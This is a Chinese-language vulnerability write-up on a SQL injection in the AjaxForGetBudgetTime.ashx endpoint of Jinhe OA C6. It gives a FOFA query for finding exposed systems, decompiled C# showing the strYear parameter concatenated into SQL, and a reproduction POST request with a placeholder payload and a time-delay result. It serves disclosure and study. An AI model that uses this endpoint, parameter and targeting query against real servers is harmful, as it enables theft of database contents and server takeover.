漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForGetBudgetTime.ashx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 AjaxForGetBudgetTime.ashx 的源码，在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForGetBudgetTime 的处理逻辑

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string strType = context.Request["strType"];
  string strPeriod = context.Request["strTime"];
  string str1 = context.Request["strYear"];
  string str2 = string.Empty;
  if (string.op_Equality(strType, "getTime"))
  {
    DataTable periodByYear = this.cc.GetPeriodByYear(str1);

else
{
  string strSubjectCode = context.Request["strSubjectCode"];
  string strValue = context.Request["strValue"];
  DataTable budgetImportData = this.deptCostSet.GetBudgetImportData(strType, strValue, str1, strPeriod, strSubjectCode);

根据strType的值进入不同的处理流程

当 strType=getTime 时，strYear被带入GetPeriodByYear方法

context.Response.ContentType = "text/plain";
string strType = context.Request["strType"];
string strPeriod = context.Request["strTime"];
string str1 = context.Request["strYear"];
string str2 = string.Empty;
if (string.op_Equality(strType, "getTime"))
{
  DataTable periodByYear = this.cc.GetPeriodByYear(str1);

跟进 GetPeriodByYear 方法

public DataTable GetPeriodByYear(string Year)
{
  return this.db.ExecSQLReDataTable($"{" Select distinct Budget_PeriodManage.Period " + " from Budget_PeriodManage " + " Left outer join Budget_PeriodDivert " + " on Budget_PeriodDivert.YearPeriod = Budget_PeriodManage.YearPeriod " + " and  Budget_PeriodDivert.Period = Budget_PeriodManage.Period "} where Budget_PeriodDivert.Status is null and Budget_PeriodManage.YearPeriod ='{Year}'" + " order by Period asc ");
}

非常明显的直接将strYear参数拼接进SQL语句执行，从而造成SQL注入漏洞。

GetBudgetImportData

漏洞复现

POST /c6/JHSoft.Web.CostControl/BudgetExecution/Handlers/AjaxForGetBudgetTime.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

strType=getTime&strTime=&strYear=SQLI_POC

成功延时 4 秒